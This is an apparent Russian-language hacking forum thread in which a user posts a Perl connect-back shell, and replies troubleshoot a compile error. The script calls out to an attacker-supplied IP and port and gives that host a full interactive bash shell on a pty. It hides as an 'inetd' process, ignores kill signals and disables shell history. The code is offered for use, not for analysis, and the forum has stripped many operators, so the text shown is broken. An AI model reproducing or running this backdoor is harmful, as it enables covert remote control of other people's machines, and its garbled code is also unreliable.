BackConnect с поддержкой TTY.

Discussion in 'PHP' started by SQLHACK, 23 Aug 2007.

  1. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Опять же мож кому надо.
    PHP:
    #!/usr/bin/perl
    # Connect-back shell 0.2
    #
    #   0ldW0lf - old-wolf@zipmail.com
    #        - www.atrix.cjb.net
    #
    #
    #  Is just the tsld.pl adapted for connect-back
    #

    die "Usage: $0 <ip> <port>" unless($ARGV[1]);
    ##########################################################
    # ******************* CONFIGURATION ******************** #
    ##########################################################
    my $IP          $ARGV[0];
    my $PORT        $ARGV[1];
    my $SHELL       "/bin/bash";             # shell to be executed
    my $HOME        "/tmp";                  # your HOME
    my $PROC        "inetd";                 # name of the process
    my @STTY        = ('sane''dec');         # stty arguments
    ##########################################################

    # feel free to change the ENV
    #### ENVironment ####
    $ENV{HOME}       = $HOME;
    #$ENV{PS1}        = '[\u@\h \W]: '; # the way i like :)
                     # colorful PS1 is also funny :)
    $ENV{PS1}        = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
    $ENV{MAIL}       = '/var/mail/root';
    $ENV{PATH}       = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
    $ENV{HISTFILE}   = '/dev/null';
    $ENV{USER}       = 'root';
    $ENV{LOGNAME}    = 'root';
    $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
    $ENV{LS_COLORS}  = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';
    $ENV{SHELL}      = $SHELL;
    $ENV{TERM}       = 'xterm';
    #####################

    $0=$PROC."\0";

    use 
    IO::Socket;
    use 
    IO::Select;
    use 
    POSIX;
    use 
    strict;

    # i wouldn't change that
    # if i were you
    ###### SIGnals ######
    $SIG{HUP}  = 'IGNORE';
    $SIG{PS}   = 'IGNORE';
    $SIG{TERM} = 'IGNORE';
    $SIG{CHLD} = sub wait; };
    #####################


    # ioctl stuff
    my %IOCTLDEF;
    $IOCTLDEF{TIOCSWINSZ} = 0x5414;
    $IOCTLDEF{TIOCNOTTY}  = 0x5422;
    $IOCTLDEF{TIOCSCTTY}  = 0x540E;

    #safeload('sys/ttycom.ph', 1); # BSD
    safeload('sys/ioctl.ph'1);
    safeload('asm/ioctls.ph'1);
    my @IOFILES = ('/usr/include/asm/ioctls.h');


    foreach 
    my $IOCTL (keys(%IOCTLDEF)) {
      
    next if (defined(&{$IOCTL}));

      foreach 
    my $iofile (@IOFILES) {
        if (
    open(IOD"< $iofile")) {
          while(<
    IOD>) {
            if (/^\
    #define\s+$IOCTL\s+(.*?)\n$/) {
              
    eval "sub $IOCTL () {$1;}";
              
    last;
            }
          }
          
    close(IOD);
        }
      }

      
    # i realy dunno if i can do that.. but.. here it goes
      
    eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
    }


    # starting...
    chdir('/');

    my %CLIENT;
    my $sock IO::Socket::INET->new(PeerAddr => $IPPeerPort => $PORTProto => "tcp") || die "could not connect on $IP:$PORT : $!";

    my $pid fork();
    die 
    "ERROR: I could not fork() the process." unless defined($pid);
    exit if 
    $pid;

    my $sel_serv IO::Select->new($sock);
    my $sel_shell IO::Select->new();

    $sock->autoflush(1);
    $CLIENT{$sock}->{sock} = $sock;
    write_client($sock"\r\n\r\r\n\r");
    new_shell($sock);
    # main loop...
    while ( ) {
      exit() if (
    scalar(keys(%CLIENT)) == 0);
      
    read_clients();
      
    read_shells();
    }

    sub read_clients {
      
    map read_client($_) } ($sel_serv->can_read(0.01));
    }

    sub read_client {
      
    my $fh shift;

      
    my $msg;
      
    my $nread sysread($fh$msg1024);

      if (
    $nread == 0) {
        
    close_client($fh);
      } else {
         
    write_shell($fh$msg);
      }
    }

    sub read_shells {
      
    map read_shell($_) } ($sel_shell->can_read(0.01));
    }

    sub read_shell {
      
    my $shell shift;
      
    my $cli;
      
    map $cli $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shelleq $shell) } keys(%CLIENT);

      
    my $msg;
      
    my $nread sysread($shell$msg1024);
     
      if (
    $nread == 0) {
        
    finish_client($cli"Terminal closed.\r\n\r");
      } else {
         
    write_client($cli$msg);
      }
    }

    sub new_shell {
      
    my $cli shift;

      
    POSIX::setpgid(00);

      
    my ($tty$pty);

      
    unless (($tty$pty) = open_tty($cli)) {
        
    finish_client($cli"ERROR: No more pty's avaliable\n");
        return(
    undef);
      }

      
    my $pid fork();
      if (
    not defined($pid)) {
        
    finish_client($cli"ERROR: fork()\n");
        return(
    undef);
      }

      
    unless($pid) {
        
    close($pty);

        
    local(*DEVTTY);

        if (
    open (DEVTTY"/dev/tty")) {
          
    ioctl(DEVTTY, &TIOCNOTTY);# || die "erro: $!";
          
    close(DEVTTY);
        }

        
    POSIX::setsid();
        
    ioctl($tty, &TIOCSCTTY0);# || die "erro: $!";

        
    open (STDIN"<&".fileno($tty)) || die "I could not reopen STDIN: $!";
        
    open (STDOUT">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
        
    open (STDERR">&".fileno($tty)) || die "I could not reopen STDERR: $!";
        
    close($tty);

        
    sleep(1);

        foreach 
    my $stty ("/bin/stty""/usr/bin/stty") {
          
    next unless (-x $stty);
          
    map system("$stty"$_) } @STTY;
        }

        
    chdir("$HOME");
        { 
    exec("$SHELL") };

        
    syswrite(STDOUT"\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
        
    syswrite(STDOUT"\n\nOK! I'm Fucked mode.\n");
        
    syswrite(STDOUT"Type ^C to exit\n\nI'm FuCKeD!# ");

        while (
    my $msg = <STDIN>) {
          
    $msg =~ s/\n$//;
          
    $msg =~ s/\r$//;

          
    if ($msg =~ /^\s*cd\s+(\S+)/) {
            
    my $notf "directory $1 not found!\n";
            
    chdir($1) || syswrite(STDERR$notflength($notf));
          } else {
             
    system("$msg 2>&1");
          }
          
    syswrite(STDOUT"I'm FuCKeD!# ");
        }

        exit;
      }
      
    close($tty);

      
    select($pty); $| = 1;
      
    select(STDOUT);

      
    set_raw($pty);

      
    $CLIENT{$cli}->{shell} = $pty;
      
    $sel_shell->add($pty);

      return(
    1);
    }



    # Funciton set_raw() stolen from IO::Pty
    sub set_raw($) {
      
    my $self shift;
      return 
    if not POSIX::isatty($self);
      
    my $ttyno fileno($self);
      
    my $termios = new POSIX::Termios;
      
    unless ($termios) {
    #    warn "set_raw: new POSIX::Termios failed: $!";
        
    return undef;
      }
      
    unless ($termios->getattr($ttyno)) {
    #    warn "set_raw: getattr($ttyno) failed: $!";
        
    return undef;
      }
      
    $termios->setiflag(0);
      
    $termios->setoflag(0);
      
    $termios->setlflag(0);
      
    $termios->setcc(&POSIX::VMIN1);
      
    $termios->setcc(&POSIX::VTIME0);
      
    unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
    #    warn "set_raw: setattr($ttyno) failed: $!";
        
    return undef;
      }
      return 
    1;
    }

    sub open_tty {
      
    no strict;
      
    my $cli shift;
      
    my ($PTY$TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/

      
      
    for (my $i 0$i 256$i++) {
         
    my $pty get_tty($i"/dev/pty");
         
    next unless (open($PTY"+> $pty"));

         
    my $tty get_tty($i"/dev/tty");

         
    unless(open($TTY"+> $tty")) {
           
    close($PTY);
           
    next;
         }

         return(
    $TTY$PTY);

      }

      return();
    }

    sub get_tty {
      
    my ($num$base) = @_;

      
    my @series = ('p' .. 'z''a' .. 'e');
      
    my @subs = ('0' .. '9''a' .. 'f');

      
    my $buf $base;
      
    $buf .= @series[($num >> 4) & 0xF];
      
    $buf .= @subs[$num 0xF];

      return(
    $buf);
    }

    sub safeload {
      
    my ($module$require$arg) = @_;
      
    my $file $module;
      
    $file =~ s/::/\//g;

      
    if ($require) {
        
    # all found gonna be loaded
        
    map { eval ("require \"$_/$file\";") if(-"$_/$file"); } @INC;
      } else {
          
    $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
          return(eval(
    "use $module $arg;")) if (grep { -"$_/$file} @INC);
      }

      return();
    }

    sub write_shell {
      
    my ($cli$msg) = @_;
      
    my $shell $CLIENT{$cli}->{shell};

      return(
    undefunless ($shell);

      foreach 
    my $m (split_chars($msg20)) {
        
    read_shells();
        print 
    $shell $m;
        
    read_shells();
      }
      return(
    1);
    }

    sub split_chars {
      
    my ($msg$nchars) = @_;

      
    my @splited;
      
    my @chrs split (''$msg);
      
    my $done 0;
      while ( 
    ) {
        
    my $splited join('', @chrs[$done .. ($done+$nchars-1)]);
        
    $done += $nchars;
        
    last if (length($splited) < 1);
        
    push(@splited$splited);
      }
      return(@
    splited);
    }

    sub finish_client {
      
    my ($cli$msg) = @_;
      
    write_client($cli$msg);
      
    close_client($cli);
    }
       
    sub close_client {
      
    my $cli shift;
      
    my $sock $CLIENT{$cli}->{sock};

      
    $sel_serv->remove($sock);
      if (
    $CLIENT{$cli}->{shell}) {
        
    my $shell $CLIENT{$cli}->{shell};
        
    $sel_shell->remove($shell);
        
    close($shell);
      }
      
    $sock->close() if($sock);
      
    delete($CLIENT{$cli});
    }

    sub write_client {
       
    my ($cli$msg) = @_;
       
    my $sock $CLIENT{$cli}->{sock};
       
    syswrite($sock$msglength($msg)) if ($sock);
    }
     
    _________________________
  2. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    578
    Likes Received:
    274
    Reputations:
    91
    Code:
    alexey@localhost ~ $ perl tty.pl
    Bareword "g" not allowed while "strict subs" in use at tty.pl line 295.
    Execution of tty.pl aborted due to compilation errors.
    alexey@localhost ~ $ perl -v
    This is perl, v5.8.8 built for i686-linux
    
    Гораздо интересный было бы на php. :)
     
  3. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    там надо поправить строчку 295:
    Code:
    $file =~ s!::!/!g;